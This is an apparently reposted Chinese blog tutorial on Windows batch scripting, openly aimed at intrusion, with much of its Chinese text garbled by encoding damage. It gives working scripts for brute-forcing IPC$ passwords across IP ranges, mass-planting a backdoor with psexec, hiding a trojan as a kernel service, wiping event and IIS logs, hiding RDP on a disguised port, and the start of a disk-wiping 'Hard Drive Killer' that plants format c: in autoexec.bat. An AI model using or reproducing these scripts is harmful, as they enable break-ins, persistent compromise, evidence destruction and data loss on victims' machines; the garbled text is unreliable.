:exit /*整个E序的出?br /> q个批处理采用的整体循环掌握好计数器部分掌握了q个批处理?br /> 例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
上面的命令ؓ1条命令。大家可以看命o使用?个FOR来套用的。用法ؓQC:\>TEST.BAT 218 当输?18回R后该命o会由W?个for取初始??%a然后l箋取第2个for的初始??%bl箋取第3个for的初始??%c最后一个for是将userpass.txt中的W一D字W作为密?%eW二D字W作为用户名%%f最后执行命?(q里我把上面的值都带进去,讑֯码ؓ123 用户名ؓ abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
当然上面q个例子可能有些朋友会说太简单ƈ且太L不灵zR我把这个例子做了些修改Q完整文件见光盘ipc.batQ由兴趣的朋友可以自q看。修改后的程序可以灵zȝ查找你指定开始到l束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成ؓ一个新的工具那是你的事了?br /> q个的@环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂q个批处理的。看懂了得不要说单哦Q最Lq是个没有用Q何第三方工具p探测q保存弱口o的批处理了!Q简单的改一Ҏ伤力q是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点是只有一个批处理文gq且l对不会误报。缺点就是太长!


后记Q?br /> 批处理的语法其实很简单,但需要灵zȝq用。希望这教E能让大家以后都熟练的用批处理Q一些基本的问题可以靠自q能力去解冟뀂这h的目的也pCQ!哈哈Q大家快乐才是真的快乐?/p>

lk 2008-03-06 09:39 发表评论
]]>
明批处理教程http://m.tkk7.com/lcs/archive/2008/03/06/184137.htmllklkThu, 06 Mar 2008 01:36:00 GMThttp://m.tkk7.com/lcs/archive/2008/03/06/184137.htmlhttp://m.tkk7.com/lcs/comments/184137.htmlhttp://m.tkk7.com/lcs/archive/2008/03/06/184137.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/184137.htmlhttp://m.tkk7.com/lcs/services/trackbacks/184137.htmlhttp://www.chinaitpower.com/A/2002-07-12/28738.html

前言

最q对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不Ҏ看懂和理解这些批处理文gQ也更谈不上自己动手编写了Q古语云Q?#8220;授h以鱼Q不如授Z渔?#8221;因ؓ|上好像q没有一个比较完整的教材,所以抽一Ҏ间写了这?lt;<明批处理教程>>l新手朋友们.也献l所有ؓ实现|络的自׃׃n而努力的朋友?

批处理文件是无格式的文本文gQ它包含一条或多条命o。它的文件扩展名?.bat ?.cmd。在命o提示下键入批处理文g的名Uͼ或者双击该批处理文Ӟpȝ׃调用Cmd.exe按照该文件中各个命o出现的顺序来逐个q行它们。用批处理文gQ也被称为批处理E序或脚本)Q可以简化日常或重复性Q务。当然我们的q个版本的主要内Ҏ介绍批处理在入R中一些实际运用,例如我们后面要提到的用批处理文g来给pȝ打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧?

一.单批处理内部命o?
1.Echo 命o
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?
语法
echo [{on|off}] [message]
SampleQ@echo off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?

2.@ 命o
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?
SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?

3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?
if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?

4.Rem 命o
注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?
Rem Message
SampleQ@Rem Here is the description.

5.Pause 命o
q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?
@echo off
:begin
copy a:*.* dQback
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?

6.Call 命o
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?
语法
call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?

7.start 命o
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?
入R常用参数Q?
MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?
REALTIME ?REALTIME 优先U类别开始应用程?
WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?
8.choice 命o
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……
? choice /c:dme defrag,mem,end
显C?
defrag,mem,end[D,M,E]?
SampleQ?
Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?

9.If 命o

if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文g?待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?
如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???

10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?
在批处理文g中?FOR 命oӞ指定变量请?%%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?
(set) 指定一个或一l文件。可以用通配W?
command 指定Ҏ个文件执行的命o?
command-parameters 为特定命令指定参数或命o行开兟?
在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I

如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配W,则指定与目录名匹配,而不与文?
名匹配?

FOR /R [drive:]path] %variable IN (set) DO command [command-

查以 [drive:]path 为根的目录树Q指向每个目录中?
FOR 语句。如果在 /R 后没有指定目录,则用当?
目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量Ş式从开始到l束的一个数字序列?
因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?
序列 (5 4 3 2 1)?

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果?usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?
处理包括d文gQ将其分成一行行的文字,然后每?
解析成零或更多的W号。然后用已找到的W号字符串变量?
调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?

eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键?
默认分隔W集?
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分?myfile.txt 中的每一行,忽略以分h头的那些行,?
每行中的W二个和W三个符号传递给 for E序体;用逗号??
I格定界W号。请注意Q这?for E序体的语句引用 %i ?
取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?

%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?
指定最?26 个符P只要不试图说明一个高于字?'z' ?
'Z' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?

您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?
用单引号括号之间的 filenameset 括v来。这P该字W?
串会被当作一个文件中的一个单一输入行?

最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚丑ֽ前环境中的环境变量名U?

另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?
%~dI - 仅将 %I 扩充C个驱动器?
%~pI - 仅将 %I 扩充C个\?
%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?
%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?
未被定义Q或者没有找到文Ӟ此组合键会扩?
I字W串

可以l合修饰W来得到多重l果:

%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?
%~ftzaI - ?%I 扩充到类D出线路的 DIR

在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?

以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?

sample2Q?

利用For命o来实现对一台目标Win2kL的暴力密码破解?
我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?
最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:ok.txt Q这样就ko了?

sample3Q?

你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?

主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?
而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?
代码雏ŞQ?
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \%1 c:winntsystem32windrv32.exe
@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?

?如何在批处理文g中用参?
批处理中可以使用参数Q一般从1%?9%q九个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?
sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?
当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?
@echo off
@net use \1%ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?
@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学会了^_^.

?如何使用l合命o(Compound Command)

1.&

UsageQ第一条命?& W二条命?[& W三条命?..]

用这U方法可以同时执行多条命令,而不命令是否执行成?

SampleQ?
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

UsageQ第一条命?&& W二条命?[&& W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行出错的命o后将不执行后面的命oQ如果一直没有出错则一直执行完所有命令;

SampleQ?
C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.

C:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备䆾的时候可能会用到q种命o会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果q程服务器上存在backup.mdb文gQ就执行copy命oQ若不存在该文g则不执行copy命o。这U用法可以替换IF exist?Q)

3.


UsageQ第一条命?
W二条命?[
W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;

SampleQ?
C:Ex4rch>dir sometips.gif
del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

l合命o使用的例子:
sampleQ?
@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命o
UsageQ第一条命?| W二条命?[| W三条命?..]
第一条命令的l果作ؓW二条命令的参数来用,记得在unix中这U方式很常见?

sampleQ?
time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer
看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?

2.>?gt;>输出重定向命?
一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>会清除调原有文g中的内容后写入指定文Ӟ?gt;>只会q加内容到指定文件中Q而不会改动其中的内容?

sample1Q?
echo hello world>c:hello.txt (stupid example?)

sample2:
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L命osystem32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?

3.< ?gt;& ?lt;&
< 从文件中而不是从键盘中读入命令输入?
>& 一个句柄的输出写入到另一个句柄的输入中?
<& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?
q些q不常用Q也׃多做介绍?

?如何用批处理文g来操作注册表

在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也会修Ҏ册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)
关于注册表的操作Q常见的是创建、修攏V删除?

1.创徏
创徏分ؓ两种Q一U是创徏子项(Subkey)

我们创徏一个文Ӟ内容如下Q?

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创Z一个名字ؓ“hacker”的子V?

另一U是创徏一个项目名U?
那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_内容如下Q?

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:\WINNT\system32\door.exe
"Autodos"=dword:02

q样在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]?
新徏?Invader、door、aboutq三个项?
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”


2.修改
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?

3.删除
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"p删除了;

我们再看看删除一个子,我们创徏一个如下的脚本Q?

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]已l被删除了?

怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g了,记得我们前面说道的利用重定向W号可以很容易地创徏特定cd的文件?

samlpe1:如上面的那个例子,如想生成如下注册表文?
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这P
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我们现在在用一些比较老的木马?可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓwindrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和只读Qƈconfig启动]
@REM q样不是更安全^_^.

?_ֽ实例N?
1.删除win2k/xppȝ默认׃n的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo ?A example for batch file ?
echo ?[Use batch file to change the sysytem share properties.] ?
echo.
echo AuthorQEx4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo ErrorQNot enough parameters
echo.
echo ?Please enter the share disk you wanna delete ?
echo.
echo For instanceQto delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: QPlease chang it youself.
echo.
echo exampleQ?
echo If locak disklable are C: D: E: X: Y: Z: Qyou should chang the command into Q?
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF

:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------


2.全面加固pȝQ给肉鸡打补丁)的批处理文g
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [止׃n]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [止匿名d]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [止及文件访问和打印׃n]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [止d前关机]

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [止昄前一个登录用户名U]
@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

下面命o是清除肉鸡所有日志,止一些危险的服务Qƈ修改肉鸡的terminnal service留蟩后\?
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message? >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
@REM [修改3389q接Q端口ؓ8210(十六q制?0002012)Q名UCؓMicrosoft EventLogQ留条后路]

3.Hard Drive Killer Pro Version 4.0Q玩批处理到q个水^真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

